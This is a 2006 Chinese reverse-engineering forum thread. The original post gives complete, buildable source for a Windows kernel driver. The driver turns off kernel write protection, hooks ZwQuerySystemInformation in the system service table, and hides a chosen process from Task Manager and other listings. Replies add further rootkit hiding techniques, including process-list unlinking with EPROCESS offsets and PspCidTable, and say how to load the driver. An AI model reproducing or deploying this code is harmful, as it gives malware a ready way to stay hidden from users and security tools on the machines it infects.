首页
社区
课程
招聘
[原创]Hook 内核ntoskrnl'sZwQuerySystemInformation隐藏任务管理器进程名
发表于: 2006-12-21 18:56 29338

[原创]Hook 内核ntoskrnl'sZwQuerySystemInformation隐藏任务管理器进程名

2006-12-21 18:56
29338

原理:通过修改内核ntoskrnl的服务表结构体KeServiceDescriptorTable,计算机出ZwQuerySystemInformation的地址,
然后替换成自己的MyZwQuerySystemInformation,然后断掉过滤要隐藏的进程名.

网上hook ZwQuerySystemInformation隐藏进程的很多,但是大都是文字说明偏多,很多给出的代码不可以编译,所以自己参照了很多文章编译了成功了.

有一段取ZwQuerySystemInformation的服务指针,我是用的汇编写的.

文件输出是驱动文件SYS,加载它就可以隐藏所要的进程名了.不要拿来搞木马害我.

完整代码文件和编译好的都在附件中!

#include <ntddk.h>
#include <string.h>

VOID UnloadDriver(IN PDRIVER_OBJECT DriverObject);
///////////////////定义本地结构体//////////////////////////////////////////
struct _SYSTEM_THREADS
{
        LARGE_INTEGER KernelTime;
        LARGE_INTEGER UserTime;
        LARGE_INTEGER CreateTime;
        ULONG WaitTime;
        PVOID StartAddress;
        CLIENT_ID ClientIs;
        KPRIORITY Priority;
        KPRIORITY BasePriority;
        ULONG ContextSwitchCount;
        ULONG ThreadState;
        KWAIT_REASON WaitReason;
};

struct _SYSTEM_PROCESSES
{
        ULONG NextEntryDelta;
        ULONG ThreadCount;
        ULONG Reserved[6];
        LARGE_INTEGER CreateTime;
        LARGE_INTEGER UserTime;
        LARGE_INTEGER KernelTime;
        UNICODE_STRING ProcessName;
        KPRIORITY BasePriority;
        ULONG ProcessId;
        ULONG InheritedFromProcessId;
        ULONG HandleCount;
        ULONG Reserved2[2];
        VM_COUNTERS VmCounters;
        IO_COUNTERS IoCounters;
        struct _SYSTEM_THREADS Threads[1];
};

///////////////声明Native API///////////////////////////////////////
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(
                IN ULONG SystemInformationClass,
                IN PVOID SystemInformation,
                IN ULONG SystemInformationLength,
                OUT PULONG ReturnLength);

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
                                        IN ULONG SystemInformationClass,
                                        IN PVOID SystemInformation,
                                        IN ULONG SystemInformationLength,
                                        OUT PULONG ReturnLength);

NTSTATUS MyZwQuerySystemInformation(
                IN ULONG SystemInformationClass,
                IN PVOID SystemInformation,
                IN ULONG SystemInformationLength,
                OUT PULONG ReturnLength);

/////////////////定义ntoskrnl.exe的服务表结构////////////////////////////////////////////////
typedef struct _ServiceDescriptorEntry {  
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase;
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
    }ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;

////////////////////定义所用到的全局变量///////////////
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
unsigned long OldCr0;
UNICODE_STRING DeviceNameString;
UNICODE_STRING LinkDeviceNameString;

NTSTATUS DriverEntry (IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{

NTSTATUS status;
PDEVICE_OBJECT   deviceObject;

   RtlInitUnicodeString( &DeviceNameString,    L"\\Device\\HideProcess" );
   RtlInitUnicodeString( &LinkDeviceNameString,L"\\DosDevices\\HideProcess" );

    KdPrint(("DriverEntry Enter............................\n"));
   
   status = IoCreateDevice(
                DriverObject,
                0,                     
                &DeviceNameString,
                FILE_DEVICE_DISK_FILE_SYSTEM,
                FILE_DEVICE_SECURE_OPEN,
                FALSE,
                & deviceObject );

    if (!NT_SUCCESS( status ))
    {

        KdPrint(( "DriverEntry: Error creating control device object, status=%08x\n", status ));
        return status;
    }

   status = IoCreateSymbolicLink(
                (PUNICODE_STRING) &LinkDeviceNameString,
                (PUNICODE_STRING) &DeviceNameString
                );

   if (!NT_SUCCESS(status))
    {
        IoDeleteDevice(deviceObject);
        return status;
    }
  
  DriverObject->DriverUnload=UnloadDriver;

  

//////////////////////Hook ZwQuerySystemInformation/////////////////////////////////////////////////

_asm{
        cli;
        mov eax,cr0
        mov OldCr0,eax
        and eax,0fffeffffh
        mov cr0,eax
    }

_asm{

          mov     ecx, dword ptr [ZwQuerySystemInformation];
          mov     edx, [ecx+1];
          mov     eax, dword ptr [KeServiceDescriptorTable];
          mov     esi, [eax];
          mov     edx, [esi+edx*4];
          mov     dword ptr [OldZwQuerySystemInformation], edx
          mov     ecx, [ecx+1]
          mov     eax, [eax]
          mov     dword ptr [eax+ecx*4], offset MyZwQuerySystemInformation;
   
    }
  _asm
    {
        mov eax,OldCr0
        mov cr0,eax
        sti;
    }
  
KdPrint(("Hook ZwQuerySystemInformation'status is Succeessfully "));

return status ;

}

VOID UnloadDriver(IN PDRIVER_OBJECT DriverObject)//卸载驱动程序和钩子
{
    UNICODE_STRING uniWin32NameString;
    UNICODE_STRING LinkNameString;
    PDEVICE_OBJECT deviceObject;

//////////////////////UnHook ZwQuerySystemInformation/////////////////////////////////////////////////

_asm{
        cli;
        mov eax,cr0
        mov OldCr0,eax
        and eax,0fffeffffh
        mov cr0,eax
    }

_asm{

        mov     ecx, dword ptr [ZwQuerySystemInformation];
        mov     edx, [ecx+1];
        mov     eax, dword ptr [KeServiceDescriptorTable];
        mov     esi, [eax];
        mov     ebx, dword ptr [OldZwQuerySystemInformation];
        mov     [esi+edx*4],ebx;
    }

_asm
   {
        mov eax,OldCr0
        mov cr0,eax
        sti;
    }
  
    KdPrint(("UnHookZwQuerySystemInformation'status is Succeessfully................... "));
    deviceObject= DriverObject->DeviceObject;
    IoDeleteSymbolicLink(&LinkDeviceNameString);
    ASSERT(!deviceObject->AttachedDevice);
    if ( deviceObject != NULL )
    {
        IoDeleteDevice( deviceObject );
    }

}

NTSTATUS MyZwQuerySystemInformation(
                IN ULONG SystemInformationClass,
                IN PVOID SystemInformation,
                IN ULONG SystemInformationLength,
                OUT PULONG ReturnLength)
//定义自己的Hook函数
{
        NTSTATUS rc;

        UNICODE_STRING process_name;
        RtlInitUnicodeString(&process_name, L"taskmgr.exe");//改成自己要隐藏的进程名

        rc = (OldZwQuerySystemInformation) (
                SystemInformationClass,
                SystemInformation,
                SystemInformationLength,
                ReturnLength);
       
        if(NT_SUCCESS(rc))
        {
                if(5 == SystemInformationClass)
                {
                        struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
                        struct _SYSTEM_PROCESSES *prev = NULL;
                        if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);

                        while(curr)
                        {
                               
                               if (RtlEqualUnicodeString(&process_name, &curr->ProcessName, 1))

                                {
                                 KdPrint(("hide process'name taskmgr.exe"));

                                        if(prev)
                                        {
                                                if(curr->NextEntryDelta)
                                                {
                                                        prev->NextEntryDelta += curr->NextEntryDelta;
                                                }
                                                else
                                                {
                                                        prev->NextEntryDelta = 0;
                                                }
                                        }
                                        else
                                        {
                                                if(curr->NextEntryDelta)
                                                {
                                                        (char *)SystemInformation += curr->NextEntryDelta;
                                                }
                                                else
                                                {
                                                        SystemInformation = NULL;
                                                }
                                        }

                                        if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
                                        else
                                        {
                                                curr = NULL;
                                                break;
                                        }
                                }

                                if(curr != NULL)
                                {
                                        prev = curr;
                                        if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
                                        else curr = NULL;
                                }

                        }
                }
        }
KdPrint(("HookZwQuerySystemInformation'status is Succeessfully................... "));

return rc;

}

////////////////////////makefile///////////////////////////////////////////////////

#
# DO NOT EDIT THIS FILE!!!  Edit .\sources. if you want to add a new source
# file to this component.  This file merely indirects to the real make file
# that is shared by all the components of Windows NT
#
!INCLUDE $(NTMAKEENV)\makefile.def
//////////////////////////////////////////////////////////////////////////

///////////////////////sources//////////////////////////////////////////////////
TARGETNAME=HookZwQuerySystemInformation
TARGETPATH=obj
TARGETTYPE=DRIVER

BROWSER_INFO=1

SOURCES=ZwQuerySystemInformation.c
/////////////////////////////////////////////////////////////////////////

环境xp,sp2 DDK2003 Build...
在其他平台先编译一边源代码.


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (33)
雪    币: 2384
活跃值: (766)
能力值: (RANK:410 )
在线值:
发帖
回帖
粉丝
2
驱动大牛,支持。
2006-12-21 19:00
0
雪    币: 258
活跃值: (230)
能力值: ( LV12,RANK:770 )
在线值:
发帖
回帖
粉丝
3
最初由 小虾 发布
驱动大牛,支持。


战神兄

我是菜鸟!:

过年赚个精华,,,鼓励下自己
谢谢
2006-12-21 19:03
0
雪    币: 222
活跃值: (10)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
4
支持,不过这样隐藏还不太够,可以进RING0的话,学学FUTO抹CIDTABLE也是不错的
2006-12-21 19:22
0
雪    币: 258
活跃值: (230)
能力值: ( LV12,RANK:770 )
在线值:
发帖
回帖
粉丝
5
最初由 drwch 发布
支持,不过这样隐藏还不太够,可以进RING0的话,学学FUTO抹CIDTABLE也是不错的


兄弟,我编译是SYS在ring0下,是通过ntoskel导出的dispatch服务表,替换这个Zwxxxx服务指针的.

不知道还有其他方法.
2006-12-21 19:26
0
雪    币: 196
活跃值: (135)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
6
支持,
对于3环的检测程序这个隐藏程序应该是足够了,对于0环检测的话,还得修改
2006-12-21 19:54
0
雪    币: 398
活跃值: (343)
能力值: (RANK:650 )
在线值:
发帖
回帖
粉丝
7
要从ZwQuerySystemInformation隐藏进程只要ActiveProcess断链就可以了

得到进程的EPROCESS
2k的偏移是0xA0
xp和2k3是0x88
过去就是ActiveProcess链了

NP里来看来的
2006-12-21 20:09
0
雪    币: 196
活跃值: (135)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
8
按照prince以前的说法ActiveProcess断链的方法都已经被用烂了,
既然在0环下能用的东西就很多了,比如说PspCidTable就可以...
2006-12-21 20:15
0
雪    币: 224
活跃值: (147)
能力值: ( LV9,RANK:970 )
在线值:
发帖
回帖
粉丝
9
继续讨论 我学习:)
2006-12-21 20:17
0
雪    币: 116
活跃值: (220)
能力值: ( LV12,RANK:370 )
在线值:
发帖
回帖
粉丝
10
PspCidTable有两份
2006-12-21 20:26
0
雪    币: 258
活跃值: (230)
能力值: ( LV12,RANK:770 )
在线值:
发帖
回帖
粉丝
11
楼几的大bt....
多谢指点...
2006-12-21 22:15
0
雪    币: 214
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
太强~太强`~~~~
2006-12-21 23:38
0
雪    币: 398
活跃值: (343)
能力值: (RANK:650 )
在线值:
发帖
回帖
粉丝
13
最初由 xIkUg 发布
PspCidTable有两份


传说中的第8个男人?
2006-12-22 08:58
0
雪    币: 603
活跃值: (617)
能力值: ( LV12,RANK:660 )
在线值:
发帖
回帖
粉丝
14
隐藏进程断链最方便,也最容易被发现。不过楼主的修改SDT的方法来hook一些函数倒是很多rootkit用的手段。
2006-12-22 11:56
0
雪    币: 560
活跃值: (359)
能力值: ( LV13,RANK:1370 )
在线值:
发帖
回帖
粉丝
15
最近好象许多牛人在"冬眠"中醒来
2006-12-22 14:56
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
不知DELPHI如何调用这个SYS?

我直接用注册表方式加载测试了下...貌似没隐藏TASKMGR.EXE.....
2006-12-24 18:00
0
雪    币: 258
活跃值: (230)
能力值: ( LV12,RANK:770 )
在线值:
发帖
回帖
粉丝
17
最初由 hzxhzx 发布
不知DELPHI如何调用这个SYS?

我直接用注册表方式加载测试了下...貌似没隐藏TASKMGR.EXE.....


RtlInitUnicodeString(&process_name, L"taskmgr.exe");//改成自己要隐藏的进程名
我没有做大小写转换了,忘了!这个注意!
delphi调用它,用
OpenSCManager,CreateService ,StartService OpenService等加载驱动.

xp sp2 平台的.

实例运行.....

其他平台不行,我也不想在调试了.修改了...

修改驱动真麻烦.

在我的平台可以.
2006-12-24 19:51
0
雪    币: 1852
活跃值: (504)
能力值: (RANK:1010 )
在线值:
发帖
回帖
粉丝
18
最初由 laomms 发布
最近好象许多牛人在"冬眠"中醒来


春天快来了
2006-12-25 09:27
0
雪    币: 603
活跃值: (617)
能力值: ( LV12,RANK:660 )
在线值:
发帖
回帖
粉丝
19
最初由 北极星2003 发布
春天快来了


怎么从来也不见你上MSN?
2006-12-25 10:20
0
雪    币: 1852
活跃值: (504)
能力值: (RANK:1010 )
在线值:
发帖
回帖
粉丝
20
最初由 prince 发布
怎么从来也不见你上MSN?


前段时间去了西安,10多天,前几天刚回来
2006-12-25 10:27
0
雪    币: 1969
活跃值: (46)
能力值: (RANK:550 )
在线值:
发帖
回帖
粉丝
21
不懂,占个位子学习一下
2006-12-26 12:10
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
要是可以通过PID或者进程名结合的方法隐藏就好了,呵呵
2006-12-29 10:43
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
hook太脆弱了。。
2006-12-29 11:28
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
最初由 shoooo 发布
要从ZwQuerySystemInformation隐藏进程只要ActiveProcess断链就可以了


得到进程的EPROCESS
2k的偏移是0xA0
........

认真学习
2006-12-29 11:33
0
雪    币: 1312
活跃值: (5164)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
25
收藏!!!!
2007-5-26 03:03
0
游客
登录 | 注册 方可回帖
返回
//